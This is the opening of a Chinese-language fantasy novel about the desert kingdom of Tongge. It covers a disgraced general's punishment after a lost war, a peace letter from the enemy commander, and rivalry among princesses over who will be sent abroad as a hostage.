Prologue大漠初见
烈烈毒日之下,荒辽戈壁之中。
十一岁的男孩摇摇晃晃地走在一片残迹人骸里。
他身上的衣服被割得坑坑洼洼,胳膊上划了一些刀痕,小腿被一支小箭所伤,每挪一步便会溢出鲜血。
他忍痛拖着右腿一步一步往前走,试图逃离周围的一片狼藉,坍倒的篷帐,损裂的骆驼车,和横躺在黄沙上的百具尸体。
大漠的烈阳今日格外狠毒。
炽灼的日光照下来,照在他的伤口上,沁出的汗水渗入伤口中,仿佛是有小毒蝎在伤口内啃咬他,疼得他走不稳路。
伴随着大片金沙上蒸蒸升腾的热浪,眼前的一切都是恍惚的,像是整个世界,包括他自己的身躯,都在渐渐溶化,渐渐消逝。
锵锵声响忽然从远处传来,似是军马上挂着的铁甲片。
响声唤醒了他的意识。他趴在沙石里,胳膊强撑着上身,抬首望去。
前方的金沙丘上突现了飞驰而来的马队!
他们自天际线破沙而出。骑兵们伏身控缰,沿着坡面倾泻而下,疾风扬起沙尘。
有一人,领在马队的最前头,轻握着缰绳,没有丝毫勒马减速,从沙坡顶上直冲下来。
魆黑军马蹄下溅起飞沙,犹如翻腾的浪花,马上的人一袭素衣飘飞,在风中似掀起的白浪,像是踏着海潮而来。
远处看,那乘马而来的素衣男子,手上似是持着一根长棍。但男孩知道,那应该不是棍子,而是由西疆山脉里坚硬的琨铁打造出的长柄。
长柄顶端的刀刃几乎是隐形的,比精细炼制的玻璃还要通透,若不是在日光下折射出了灼眼的光,都注意不到它的存在。
那是用北海深沟里的怪鱼——鲮兽的尾刺所打造的刀片,坚硬锋利如同金刚石。
曾有多少人尚未看清那刀锋的方位,便在瞬息之间被斩死在锋下,那是独一无二的一把武器。
鲮琨戟。
拿着这把武器的,唯有一人。
男孩悬着的心松下了一瞬,却又立刻紧绷起来,不知此刻的心情应当怎样,是该庆幸,还是恐惧。
他知道是谁来了。
·
·
·
·Chapter1砃石大殿
烔格砃石王宫。
日光透过彩色玻璃照入室内,幻彩的光点正好落在一盏珐琅碗里,雪白的乳汁染上了些许颜色。
“驼奶冰沙怎么能就这样放在阳光的照射下?!我的天神弥丽姆,你这个刚来的小姑娘是要扣了整个瑛膳间这十天的薪俸?!”
刚入宫的小宫女慌忙将瓷碗挪到了旁边的阴暗处,跪下来向主厨道歉。果浆乳间的女仆和厨子们一时间都往这儿看来,皱眉,暗暗抱怨了几句。
一个人出错,罚得是他们整个膳食间,谁都不想在王宫里气氛沉重的时候惹怒了哪位尊贵的人,祸事不仅会降到自己头上,还会波及家人。
瓷碗里的冰被那恰巧透进来的光晒融化,蜂蜜的甜味就会淡了。主厨知道这碗冰沙何等重要,抬起手便扇了宫女一巴掌。
啪!
声音回荡在瑛膳间内。
“倒掉。浪费的食材算在你的薪俸上。重新做一碗,快点。”主厨淡淡地说。“尊贵的俄西里斯就快来了。”
别的宫女们都专注地做着自己的事情,习惯了听见瑛膳间内传出巴掌的声音。
被打的小宫女低声向主厨道了歉,起身,一声不吭地将驼奶冰沙倒入污桶里。
俄西里斯在烔格语里指的是最尊贵的王族人,它直白的意思就是血液里流淌着金砂的人,被风砂神庇佑的人。俄西里斯可以是王上、王上的兄弟姐妹、王上的叔伯姑母、王上的儿女。他们很少会亲自来到瑛膳间里。
小宫女将瓷碗洗干净,重新做了一份驼奶冰沙。
烔格的珐琅器花纹多是密集复杂的,有点状的,有条纹的,有的上面会有烔格文字。这些金属或瓷器鲜艳至极,它们堆在果浆乳间一角,就像是油画画出的一团花簇。
盛驼奶冰沙的这碗是蓝色的,如同晨时与午时的天空,深蓝与浅蓝色图案密集地画在一起,十分精美。
驼奶是王城里最好的驼奶。冰是从赫温山脉的冰泉里打上来的冰,一路运到炎热的塞利琉王城里。蜂蜜是高原山花丛蜂酿出的蜂蜜。这一碗冰沙就能算一名宫女三个月的薪俸。
“收拾东西!二公主和十公主来了。”
瑛膳间里的杂工突然跑来了果浆乳间报信。宫女与厨子们听见了,立马开始收拾台面上不整齐的东西,台子上散落的面粉擦掉,污桶也被推到了房间的最里处,不能让俄西里斯闻到这样的气味。
片刻后,门外一位妆容端丽的女子就牵着一个小女孩走了进来。她们身后跟了多名仆从。
“见过二公主与十公主。”
果浆乳间内的仆人们向进来的两人下跪行礼。
年长的烔格二公主穿着一袭深绿色的刺绣裙,河流波纹般的深黑卷发半垂在身后,半编成发辫搁置于身前,额前的金饰与红玛瑙珠摇晃着闪着亮光。
这样艳丽的身影很少出现在杂乱不堪的膳食间里,这里的下人们根本不敢抬眼直视。
“都起来。东西呢?”二公主音色清冷。
“回二公主的话,我们已经备好了驼奶冰沙。”
“话说错了。”二公主却道。她的没有怒意,只是一句轻微的提醒。
主厨流了一滴汗,立马改口道:“回二公主的话,十公主已经备好了驼奶冰沙。”
“娜恩达,去拿。”二公主娜音向身旁的小女孩说。
个子矮矮的十公主娜恩达走上前,没有接女仆端给她的食盒,而是揭开了食盒的盖子,又揭开了瓷碗上的盖子,然后抬头说:“我想再放点绿葡萄肉,那样好看,你们去拿绿葡萄出来。”她向膳食间的仆人们吩咐。
二公主娜音听到了微蹙眉,向主厨道:“有现成的吗?不要再花时间剥了。有就给她放一点。”
“有的,二公主,也是才剥的,新鲜的。”主厨赶紧示意旁边的宫女从冰冻罐子里挖了一勺绿葡萄肉。
宫女正要放进冰沙里时,十公主却抢先拿走了她手上的勺子,自己将它放进了瓷碗里。
“王姐,这份冰沙是我亲手做的对吗?”娜恩达抬头向她的姐姐问。
二公主此时已经转过身向外走去,步伐很快。她没有回头,只向跟在后面的王妹道:“是的。”
烔格王宫的正宫是一座以象牙白色的天然巨石凿造成的石窟,围绕在其周边的则是用砃石人工建筑起的宫殿。
象牙白色的砃石是烔格的象征。这些巨石伫立在烔格的漫漫金沙之中,历经千年风吹日晒也不改色。它们在风沙之中挺立,永久守护这里的大漠与山脉,河川与平原。
王宫里的石柱、房顶脊梁、大片的墙面都是这样的象牙白。午时的阳光照进宽阔高挑的檐廊里,会将白色的一切都渲染上暖和的金黄。
但王宫里不仅仅只有这两种单一的颜色,鲜花种在檐廊两边的长方形花坛中,也种在梁上挂着的花盆里,这些彩色都是白色建筑的点缀。
娜音领着娜恩达顺着檐廊一路穿过了王宫的后.庭。娜恩达方才抱了一会儿食盒后,胳膊酸得不想抱了,就递给了身后的侍女,反正不少路过的侍卫们已经瞧见她抱着了。
她跟在王姐的身后蹦跳走着,今日的心情挺愉快。作为年纪小的公主,平日里基本上都呆在后.庭里,即便是最稀贵的鲜花和颇黎灯也都已经看腻了,娜恩达只觉得它们丑,丑得花里胡哨。她现在更想看王宫正宫里的金子,金雕,那些很宏伟大气的东西,可新鲜了。
她随着王姐穿过二层的宽敞走廊,来到砃石大殿前,却被文官拦在了大殿的台阶下。
“娜音公主,娜恩达公主。”文官向二人行礼,而后道:“王上刚传了尼摩罕将军在大殿内审问,公主恐怕要稍等片刻了。”
娜恩达有些失望,脱口便说:“是吗?可是刚才有人跟我们通报说父王此时有空....”
她瞧见王姐瞥了她一眼,收了声音,闭嘴没再说话。
娜音走上前,向文官道:“去通报说我在殿外,问父王要不要我进去。”
文官点了头,转身进了砃石大殿。片刻后,他便回来说:“二公主请。”
娜恩达只得不爽地嘟起小嘴,靠在这殿外的石柱上等候,嫉妒地看着姐姐走上砃石台阶,进去了大殿里。
正宫王窟与后.庭里的陈设有着天壤之别。
氍毹华毯向大殿内延伸,从台阶一直铺到了王座前。几幅镀金的浮雕挂在两侧的墙壁上,画面里有瑞兽金狮,有蜥蜴、羚羊、鸵鸟、猎鹰。这些动物的眼睛是用宝石颗粒镶上去的,如夜空星辰坠落于漫漫金沙里,化为沙漠里的生命,金碧辉煌。
画面里,沙漠与平原上的万物,都臣服在砃石王座的脚下。
殿里的这把王座是千年前从王窟原本的天然巨石里凿造而成,它与王窟连为一体,无法移动,象征着不可动摇的王权。
负手站在王座前的便是君王莫提斯。
娜音俯身鞠躬,双手掌心轻轻贴在胸前,然后朝着前方微微展开,向王座前的人行礼道:“父王。”
莫提斯王没有回应。
娜音自知无需等待回应,便起身,转头望向了此时跪在大殿中央的将军。
尼摩罕有一半的发辫被丑陋地剪断,断掉的卷发凌乱地垂在脸庞。那是耻辱的象征。而五年前他从边疆挟着捷报班师回到王城时,每家每户的风铃声都为他而响,王宫里最上等的葡萄酒也赐予了他。在那之后他便回归了前线。谁想到今日再次回来,却落得这般下场。
责不全在他。但他必须落得这般下场。
“尼摩罕…你的骄傲和自大让整个军队都毁在了你手里…你的决策失误让四万精兵都葬在了异国肮脏的泥土上!七万英勇战士埋在了荒沙之中!从你轻敌地那一刻开始,你的家族就被钉在了耻辱柱上。你这份罪过即便是把整个家族的血都献给王上也不足以被原谅!”
怒声责骂的是站在右侧的珵斯亲王,莫金。莫提斯王的二兄。
“你不仅丢失了自己身为烔格战将的尊严…你甚至将俄西里斯置于险境之中...且还让…还让尊贵的血脉受到了言阊人的践踏!你罪该万死!!”
说罢,莫金亲王竟突然拔出了大殿侍卫腰间的弯刀,横空甩了出去。
那刀光如闪电,刀锋在瞬息之中擦过尼摩罕的鼻梁飞了出去,哐铛铛地落在了白石地面上,带出一串红色的血。
尼摩罕的鼻梁上被割下了一小片肉,落在了地上。
“莫金王伯!”娜音当即转头喝道。
“莫金!”王座前的莫提斯王厉声道。
怒火上头的莫金微微颤抖地站在原地,双拳紧攥着,知道自己逾矩了。
王座旁的殿前大侍卫当即走下石台,拔出长刀指向他,愤然吼道:“珵斯亲王!砃石大殿岂是你能肆意挥舞兵器的地方?!你这一举动也要给你自己和家人带来罪刑!”
莫金也被自己的冲动之举所惊,顿了片刻,随即转身向王座前的人跪下。他声音低了下来,说:“王上,这是我的过错,我祈求王上的宽恕……”
莫提斯王也没有别的话,只冷声道:“起来。”
尼摩罕沉默地跪在大殿的中央,鲜红的血顺着他高挺的鼻梁滑下,流到了嘴唇上,又滑过下巴和颈脖,流进了衣服里。
这不是他身上唯一一处伤,他的身上还伴着大大小小的刀伤箭伤,胳膊和腿上还缠着乌血的绷带。这便是疆场之人的身体,只能默默承受。
“尼摩罕,”莫提斯王缓缓开口:“你与前线将帅串通勾结,联合向王城欺瞒战况,私自鲁莽出兵,让你麾下多少战士都在异乡的境土上丧命。”
他冷冷地道:“我们曾经那样引以为傲的萨维军,曾为烔格讨回完整身躯的萨维军,六万精兵每一个都称得上风神派来的战士,今日就这样毁在言阊人的手里,也是毁在你们的手里。”
跪在王座前的人在方才弯刀滑过鼻梁时都纹丝不动,此刻听到王上的话,脸上表情才开始有了变化。
“你们竟败给了那些狡猾的言阊人...”莫金咬牙切齿,“你们明明击败过廉卫军,也多次击垮过那些横行霸道的游牧野人,这些人的人头都还插在城外的岩壁上。如今不过三个月的时间,你们就输得几乎全军覆没!那天瀚军的元帅不过是个毛头小子!”
被他这么一说,尼摩罕似是回想到了什么,心中一股恨意涌上来,跪着的双腿都隐隐颤抖。
娜音静默地观察着他,猜到他此刻想到了什么。或许是荒沙上士兵们的尸体,散落的盾牌,或许是言阊士兵攻破他们营地堡垒的那一刻,那无疑是剜心的懊恨。但有些时候,人并不值得同情,反而令人厌恶。
娜音淡漠地看着尼摩罕,接了莫金亲王的话,道:“萨维军即便败在了言阊境土上,也不该让他们有一丝跨过依玛沙漠的机会,一丝都不可。”
她声音逐渐变冷:“你在外面打了败仗是因为什么,心里应该有点数。玩火自焚,神也救不了你。但是你这次不但输,你还给了他们再次闯入我们烔格境土的机会,这可真是把无能刻在了自己的盔甲上。”
尼摩罕听到这句话,神色有了些变化。
他忍着鼻子上的巨痛,垂下双眼,咬牙颤抖道:“我尊贵的公主......玩火自焚?我们在异土上奔波,为国人讨回应有的公道,即便是冒着引来猛兽的风险。我们的冒险有付出也有牺牲,但被公主称为玩火自焚,这句话没有丝毫对士兵的敬重——”
“嘘...少把你的恶劣用美好的话语装饰。”娜音冷漠地打断了他,“尼摩罕,我对士兵的敬重就是祈愿他们全部平安得胜归来,与家庭团聚,而不是被你,被你们,送到言阊人的狼筅下丢了头颅。”
她眼神锋利地盯着他,“烔格的士兵是高贵的,祭司称你们为风神遣派的守护者,没有任何国度的士兵比烔格的战士还要高贵。而你,与王兄,”提到这个词,她逐渐攥紧了拳头,过了一会儿,又看向莫金:“还有堂兄,拉着手下的战士堕落成一群嗜血魔,你们的那些作为,简直是比那些游牧野人还要恶心。”
“娜音!”莫提斯王怒声道。
“父王,这里没有别人。”娜音语气并未变化。
“那你也没有资格将你的兄长辱骂至此。”莫提斯王警告道:“不要过于放纵。”
她沉默了片刻,然后简短地道了歉:“是我的错。”
莫提斯王看向跪着的将领,眼神深不可测。
“尼摩罕,五年前你回到王城时的风铃声你还记得,对吗?”
尼摩罕缓缓闭上了眼睛。
莫提斯低声道:“但年轻时自己的话语你已经忘的干干净净了。你曾告诉我,说你从来在乎的都不是回归时的风铃声,而是烔格要拥有完整的身躯,战士要回到自己的故土。但如今的你,你们,只在乎凯旋时的风铃。你想一次又一次的听到那些风铃。所以你没有让战士回家,而是将他们带出了国土,去异乡杀戮,最后葬送在异乡永远也回不来了。你是这样,我的侄儿也成了这样,我的孩子也被你带成了这样。”
倒也不用说是被谁带成了这样。娜音冷脸没有说话。
“这场败仗,你注定是要为它赎罪了。”
尼摩罕长久未言,最后只道:“恳请王上念在过去的旧功...宥恕我的家族。”
莫提斯没有说话。
莫金狠声讽刺道:“你得想想现在被言军占领的城池里,那些正受敌军欺凌的黎民百姓能否饶恕你和你的家族?!”
他的话语坚狠绝决,似是要把此刻边境沦陷的城池里,那些被俘的人们的怒火全都烧到眼前的人身上。
尼摩罕淡笑了一声:“我明白了。”
大殿里的侍卫将尼摩罕带了下去,他没有任何别的话语,没有丝毫抗议或多余的求情,他全程都很安静。
他安静得如此巧妙。算是个聪明人,他越是安静,他的家族或许就还有些救。至少,也许不至于会全部被贬为最下等低贱的奴民。
莫金亲王遵循王上的旨意离开了大殿。娜音的目光从大殿的门外转回来,看向了此时已经在落座于王座上的父王。
“父王,我听说了边疆的那封来信。”
莫提斯王摸索着食指间的金刚石戒,沉默了一会儿。
“信到了有些时日了。你这几天忙着政殿内的事,还没看过。”莫提斯从王座前的石桌案上拿起了一卷卷轴。那一看就是言阊的卷轴,与烔格文书会用的羊皮纸不一样,言阊的是绢帛制成。
这份卷轴里,并排书写了两行文字,一行是言阊原文,一行则是言阊象胥翻译成的烔格文。
“拿去读一遍。”他递给了石桌案旁候着的文官,文官又将它呈给了二公主。
娜音接过,将它摊开。这封文书是从边境的克林城一路加急送到了王城。
递出文书的是言阊军队,他们此时此刻正挟持着克林城内的高官,将整座城的生死捏在手中。
烔格与言阊国的纠纷算起来也已经开始三十多年了。
两国相隔一片荒无人烟的依玛荒沙,距离离得挺近。依玛荒沙面积不大,但却因特殊的地质,成为了国界的自然分水岭。因此在过去的日子里,一切都顺理成章,临近国之间常有的边境问题,言阊与烔格在以前并未有过。
依玛荒沙以南的一大片地域上,广阔的干草原和半沙漠相间而生,群居在那里的是众多游牧民族,周边国家将他们统称为撒安靡里。
当干草原天气恶劣,牲口得疫而死,或资源稀缺时,那各部落的兵匪便会立即攻打周邻,以求存活。
他们时常从依玛荒沙穿过,有时打到言阊的边寨乡村里,有时掠夺烔格的边境城池,也有的时候,他们会直接从荒漠的沙丘坡上策马冲下,将两国之间的商队洗劫个一干二净。
烔格与言阊人文化习性相较为相似,为定居者,是以农耕与行商为主的民族,两国之间商队交集频繁。撒安靡里各大部落带来的共同威胁,让两国自然而然地形成了军事和贸易的齐盟,几百年来交往密切,关系稳定,君主友好。
直到三十七年前。
大荒寒给这片大陆的国度都带来了重创,唯有言阊国巧而幸免。撒安靡里因大荒寒的资源极度匮乏而统一出兵攻入了烔格境内,危机之时,言阊皇帝应允了烔军的请援,派出精兵军队助烔格抗敌。
那一场战争,言阊军队牺牲颇为严重,但皇帝念两国同盟深交,并未介怀。
然而,皇帝当年参了军的儿子却不这么想。
言阊先帝——宣成帝,在仍是皇子时,参与了助烔军抗敌的援军。登基后,他回想起了言军当年在异乡的战殇,心生憎恨,便利用了自己在援军时对烔格地势和军事的了解,指使军队攻入了烔格,占领了卡淼河前的十三个城池,称其为赔付当年援军损失的偿款。
烔格败仗后,两国君主签订了划分赔偿条约,将十三座城池暂划为言阊的管辖范围内,期限百年。宣成帝那泄愤的战争可谓是残毒,多城遭屠虐,至今都还能在城外的沙坑里挖出当年城民的尸体。
当今的言阊皇帝——宣武帝,则是当年先帝麾下用得得心应手的将帅之一,后来成了先帝看中的皇子,坐上了一把血镀成的言阊龙椅。
而卡淼河前的十三座城池,在言阊管辖十八年后,五年前被烔格的萨维军全部提前收回。
两国的国界线回到了最初的模样,但几百年来的和睦与盟约却因为那些战争再难回到最初了。
就在十个月前,由大王子亲领的萨维军隐瞒王城,暗中在边境起兵,攻入了言阊东境,三月内侵占了庵州九城,又在庵州实施了一场血腥之事。
像一块破裂的丝绸,一旦开了一个口子,轻而易举就会越撕越烂,根本修补不回原来的样子。
萨维军在言阊城乡里的虐刑,引来了一支新的言阊军队的对抗。尼摩罕口中的“猛兽”——言阊的天瀚军,将萨维军杀出了言阊国境后,在依玛荒沙将他们几乎剿灭。
此时此刻,天瀚军就驻扎在烔格边境克林城周围的堡垒内,像是一把随时可以向烔格内境落下的斩刀。
半个月前,烔格王宫政殿上无人不提心吊胆。萨维军被灭,边境无人防御,军殿只能十万火急地将内境的军力往外调。
却不料,天瀚军在驻扎后就再没有出过别的动静,放着这段时间的大好战机却未出动,言阊人就这样把它贻误掉了。
此后,便出了这么一封文书,一路送到了烔格王宫,直达烔格王上的手上。
“你看到了信的署名么?”莫提斯王向女儿问。
娜音看着信尾被翻译过来的头衔,念出了声。
“天瀚军主帅,漓渊王,楚洬溟。”
她抬头看向父王。
很显然,父王等着她的回话。
娜音一时不知该如何说起。不过一目了然的,这位天瀚军主帅的来信只有一个目的,媾和。
这封信直接对话莫提斯王上,写得可谓是出乎人意料。
她向父王道:“言阊人此前从未与我们有过这样的联络。”她放下文书,抬起头说:“我不在意言阊人的花哨言语,或是其文字间的态度可信与否。人唯有行动可信,父王,前线的军队已经抵达,他们最好的战机流失了。”
莫提斯王道:“是。”
“信中明确写了想与烔格王城的使者面议。”莫提斯王不再靠在王座的背靠上,而是立直坐起,向女儿道:“我要你和两位王叔去前线与天瀚军会面,试探,验实,谈判,然后把此战告一段落。该回来的城池回来了,以后要少让军殿在西战线浪费兵马。别再整出无用的烂事。”他的最后一句话,言语中透着不耐烦。
娜音一听便明白了他的意思。
她点头:“父王放心,女儿一定稳妥处理此事。”
所以信内的条件,基本上是定下来的事了。娜音现在读透了信中的实际内容,倒是比前些天外面捕风捉影的声音要让人安心得多。
她道:“信中有关庵州九城的索赔是可以接受的程度,克林城会不流一滴血地归还,也正是我们最需要的承诺。请王上一子一女出使言阊这一条,他们没有提出质子人选的要求,这条件便是可以接受的。”
莫提斯王点明道:“因为他们的主帅还算是个明白人。若人选有什么别的要求,就谈不下去了。”
这条件给得恰如其分。
娜音道:“俄西里斯出使为质子并非小事,父王,我会谨慎行事。”
莫提斯王交代好了事务,已经着手翻起别的奏文,只道:“好。”
娜音将言阊的帛书归还,鞠躬告退。
外头候着的文官似是已经看到她迈步往外走了,抓准时机进了大殿,走上她跟前,微提了嗓子提醒道:“二公主,娜恩达公主在外头候了好久…她说什么东西要化了?”文官说着,样子有些不明地挠挠头。
还是文官有眼力见。
娜音道:“我把她忘了。”这正好引起莫提斯王的注意,她转身道歉道:“父王,娜恩达那姑娘今天不知怎的,跑去瑛膳间里呆了好久,我来时正好碰见她,她执意要跟来,”娜音笑道:“她说给父王做了冰沙,是她学了好几天才做成的。”
莫提斯王手中正拿着卷轴奏文,并不想被打扰暂停阅读,但听娜音这么说,想了想,还是传小女儿进了砃石大殿。
娜恩达被文官领进来时异常兴奋,然而眼角瞟到王姐警告的眼神,还是注意着收敛了许多,她小心翼翼地端着食盒走向父王的王座,仪态优雅,脚步端庄。
今日是她打扮得最好看的一次,佩戴了精致的额饰,脸上甚至还上了淡淡的妆,这都是平时不会做的妆扮,但今天王姐吩咐侍女们一定要给她这么打扮,要把小姑娘的姣美都凸显出来。
莫提斯王看了她一眼,终还是放下奏文,眼神柔缓下来道:“你王姐说你学了很久?”
“嗯!我上次吃了觉得好吃,就想亲手给父王做,不仅是冰沙,我之后还有好多好吃的想学着做,都是想做给父王吃的!”
.
二公主转身离开了砃石大殿,叮嘱殿外的仆从稍后就把十公主接走,别让她在里面浪费王上太久时间。
她穿过王宫走廊,步入后.庭,迎面遇上几个嬷嬷焦急地跑上前。
“二公主…九公主在房间里又是哭吼又是砸东西....我们谁都劝不动,西雅妃心痛得都哭了,再闹庭外的侍卫都要来了,这可怎么办呐?”嬷嬷着急的向她说。
娜音看了她们一眼,没有说话,领着身后仆从向九公主的房间走去。
花园左侧的二楼,高挑宽敞的房间内传来“啪!”的一声玻璃杯破脆的声音。
女子慌张哭泣的声音断断续续传来,听得让人心慌。房外站着的侍女和宦官都焦虑地攥着手,有人紧张地拽着衣襟,有人冷汗都冒在了额头上。
娜音扫了一眼众人的表情,平静地从他们面前绕过,推开了房门。
明亮华丽的房间内,十一岁的九公主娜娥丽攥拳站在中央,西雅妃则蹲在她身边,颤抖地拉着她的手。
“娜娥丽…母妃求求你,冷静一下,别这样闹好不好…?别这样…我的乖女儿……”西雅妃嗓子沙哑,双眼红得像被污水泡过一样。
娜音见次情形,走上前,伸手缓缓将西雅妃拉了起来,转头冷声教训九公主道:“不要让你的母妃在你面前下跪,王女的血液再高贵,也都是母妃给的,没有母妃的我们什么都不是。”
娜娥丽刚费力砸完房间里的东西,精力已经耗了不少,但此时见到二王姐就这样平静地闯入她的房间,胸腔里的怒意再次泛了起来。
“我要见父王。我在六日前就已经和我的侍女说了,但是她们的话根本传不到父王那儿,我知道就是你弄的,你不让我与父王见面。”娜娥丽咬牙切齿。
娜音回道:“不,父王很忙。前线残余的军队刚抵达王城外,父王处理这些事情已经精疲力尽,他没有时间见你。”
“胡说!!”
娜娥丽像一只被激怒的鸟儿,“是你不想让我见他!你在父王身边谗言佞语!想让父王把我送去言阊当质子!别以为后.庭里的人不知道!大家都知道二公主在做什么!”
娜音的脸几乎是一瞬间就变了,变得很自然,眼神从方才的微微心疼化为没有一丝波动的冷漠,就仿佛暮光褪去夜晚来临一样自然,柔缓,寒冷。
“关于这件事,”娜音以通知的语气说:“父王确实是要选你去做质子了,所以收拾收拾行李,大约一个多月后,你就要走了。”
“正因如此你更要珍惜和母妃在一起的时光,而不是在房间里摔着这些贵重的东西。”她的脸色平静得如同一潭死水。
娜娥丽听见了,顿时更像发疯了一样,要冲出房间,却被侍女和宦官抱住拦下来。
她挣扎了一会儿,知道自己出不去,只得放弃这个想法,狠狠地瞪向二王姐。
“你心如蛇蝎…”她愤然道:“我是父王最疼爱的女儿,大家都知道,质子这种事情根本轮不到我!怎么也该是别的王姐…别的妹妹…不会是我。”
娜娥丽生得格外漂亮别致,是年纪小的公主当中最漂亮的。君王的孩子多得是,大部分公主们在政殿上都没什么用,因此王上自然是挑最貌美甜言的喜爱,挑最好看可爱的留在身边承欢膝下,别的一般的就可以远嫁出去联姻。漂亮的女儿会比不漂亮的女儿看着要赏心悦目。
连娜音自己欣赏着九公主,都会舍不得把她往那些言阊人那儿送。更别说父王若是见了她这么哭哭啼啼的样子,一时心疼,就把质子的名字改了。
娜音回她道:“不要想着这种事就应该轮给别的王姐王妹,这样想自私自利。作为烔格的公主,这本就是你的分内之事。”
“我的分内之事?”娜娥丽讽笑了一声,“那娜恩达呢?二王姐,她为什么不去做她的分内之事?她不是烔格的公主吗?说到底还是你自私自利!你想把娜恩达留在这儿,你就去父王面前讨功,让父王狠心把我送给敌军!”
她的话语挑开了平静湖泊下的暗流涌动。本是同一株藤蔓上开出的花与果,但却每时每刻都在争夺。
平日里便会争夺最好的阳光,到了旱期,这场纷争就更加激烈,每一朵每一颗都会拼命争夺藤蔓里最多的水分,顾不上其它的死活。
“你也不看看娜恩达那副幼稚的蠢模样!你的母妃把她的小女儿当个乡下的丫头养,成天就知道吃和玩,十王妹丝毫不懂父王的心,她根本就不配作为留在烔格的公主!”娜娥丽气到失去理智,口无遮拦地骂。
娜音不是很在意她现在这样的状态了,知道与她多说也无用,她安分不下来,因此不想多浪费时间,只道:“你到时候收拾好东西,与母妃道别,出去了就不要惹事,你母妃和母妃的家族会被你在外的一举一动牵连。”
然后她便往外走了。
娜娥丽拿起桌子上的瓷杯朝姐姐的脚后跟砸过去,啪!的一声,正中她的脚腕。
身边的侍女们惊呼,惶恐不已,西雅妃也惊叹地捂住了嘴。
娜音回头瞪向娜娥丽,见她怒红了的眼睛也直直地瞪着她,憎愤溢出眼眶。
娜音命侍女捡起地上的碎瓷片,而后从侍女手中拿过它,朝娜娥丽冷声道:“娜娥丽,王城外五十里的河岸护城军里,有萨维军余下残兵败将。你若真有胆子,拿着你的瓷杯子把它砸到王长兄的脚前,去质问他为什么贸然挑事开战,为什么开了战又打败仗。你若是愿意,我现在就放你出你的房间,带你去俄诺王子的军帐里,你就当着他的面质问他为什么弄成如今的局面,输成这副惨样,让我们的公主和王子不得不出使言阊。”
娜音声音冷漠。娜娥丽气得嘴唇颤抖,但没有说话。
“不是我要送你去敌国。”娜音松开手上的碎瓷片,让它落在地上,随后转身出门。
她离开了娜娥丽的房间,倍感烦躁。
日光照在走廊里,角度恰好让一扇扇彩色的玻璃窗和吊灯都反射了光线,照在白色的墙壁和柱子上,亮得晃人眼。
砃石王宫的颜色那样鲜丽,里面的人看到的颜色往往却是冷的,里头的人的双眼已经被麻木了一样,视线里的一切颜色都死气沉沉得如同蒙了一层深灰。
战后要处理的事情本来就多,还有这么多不省事的人,只让人觉得厌烦。唯一好在今日总算是读到了言军的来信,条件和态度能让人接受,心里也就踏实了些。
“去告知九公主的侍女和侍卫,看紧她,尽量别让她闹。给西雅妃也警告两句,管好九公主,现在闹事了父王会嫌烦,若是乖一点,父王不就对她有愧疚感了么。”娜音吩咐道。
“是,二公主。”
“再找人去音晞阁把七王子叫来政殿见我。”
“二公主,七王子不在王宫内。”身边侍卫道。
娜音停下脚步,廊外似乎正好起了一阵大风,吊盆植物的绿叶被风吹散飘出去,远处神殿前庭的无数风铃声正巧在同时飘了进来,声音清脆空灵。
风停后,她皱眉回头问:“不在王宫?他跑哪儿去了?”
“好像是前几天音晞阁的书官要去偏城孤子院,”侍卫对她说,“七王子同书官们一起去孤子院了。”
·
·
·
·Chapter2表白闹剧
烔格民间近些年广泛流传的通俗爱情小说里,有一句很经典的台词,是这样说的:
“古老的神卷里记载着永恒的真理,如果两个人的爱情是天造地设,是真挚无邪,那么连风神都会亲自去夜空为我们布好命运的星辰。”
“它会让我们生于同一片乡土,成长于相似的街道,让我们的家族相配,父母友善往来。这才是真正被神明祝颂的恋人!噢!我美好的心上人穆布斯,很显然,我们就是的!”
霍络佐最近听到这句台词就有些反胃。
好吧,也不能说特别反胃,只能说烦躁,像吃了放久发黄的菜叶。他的耳朵现在确实是十分厌倦这句话。因为近一年来,在勒夫塔广场上告白的恋人中,十对有九对用的都是这同一句话。
同样高挑的声调,同样浮夸的语气,连他们找风铃手敲奏的曲子都是同一首,都是根据那本小说改编的歌舞剧里的歌。霍络佐偷偷在巷子里奏铃的时候,也曾被找上来好几次,都是要求给恋人们敲那首曲子听。起初他还颇有兴趣地敲过两次,直到时隔五个月他第四次跑出王宫,发现大街小巷敲得还是这首曲子,大家说的还是这句话后,他就有些审美疲劳了。
疲劳之余,霍络佐习惯性地将这篇风靡于民间的通俗小说分析了一番,风靡总归是因为有可取之处。首先女追男当然是一个很受人喜爱的特别点,不过还有一个很重要的原因,就是因为这是一部难得的纯喜剧文学。
王城里以前传阅的经典文学总是悲剧性的,或者至少带有悲剧元素的,主角隔着阶级高低或敌对家族之类等种种难处,最终不是生死两隔,就是全死了。而这篇故事全程都没有难处,只有搞笑的桥段。男女主青梅竹马,门当户对,双方父母世交,两人热热闹闹地谈了一场半个城的街坊领居都支持的甜蜜恋爱,男方也许诺永不纳妾后,两人便结婚造了一堆娃,然后欢喜大结局了。
仔细一想便明白了它为何能那么受欢迎,谁都向往幸运顺利的人生嘛,听城里主持婚礼的祭司说,自从这部小说印刊传阅后,连让父母反对的婚姻都变少了,来的全都是家庭背景匹配的。
多半是现在的人越来越想开了,都不想给自己找麻烦,如今已经不再流行那种为了在一起要死要活的恋情了,年轻的少年少女没那么叛逆了。人都会趋利避害,自然是要找轻松的路给自己走。
“说白了,就是变懒了,我觉得这就是现在的人比古人更懒了一倍的证明。”
一少年忽然道:“咱现在只愿躺在家里的榻上一边喝点甜酒一边看看古典文里的悲剧虐恋,权当消遣刺激精神。真要出去找姑娘,那肯定就找同一条街上的姑娘给我生两个娃就得了。真像那些古人一样就为了个娶那么一个姑娘成天与命运抗争,累不累啊,不嫌烦啊,喝点小酒唱点歌不开心么?非要把命搭上追姑娘,脑子被骆驼蹄子踩了似的。”
霍络佐靠在街边囤放的骆驼草堆上,听着身边比他年长三四岁的乐手小伙子吐槽,忍不住地笑,笑声跟手中拿不稳的风铃的叮铛声一样。
“懒人有懒福。是不是?”霍络佐朝他点头表示赞同道,“确实蛮有道理,起码活得会比那些短命的古人长,生命里能唱歌饮酒的时间也就比别人长了。”他眉眼一弯,笑着附和他道。
“可不是嘛,懒人有懒福,懒,是个褒义词,我就是喜欢这个道理!”身旁乐手一声应答,爽快地拾起了地上搁着地水袋,倒在两个小陶杯里,递了一杯给霍络佐。“喏。”
霍络佐立马摇了摇手,笑着婉拒道:“我不敢做坏事儿,今年十一,家里人会骂。”
“害,这就一点儿亚里布,味最淡的,全是果子汁,我九岁都开始喝了,拿着拿着。”
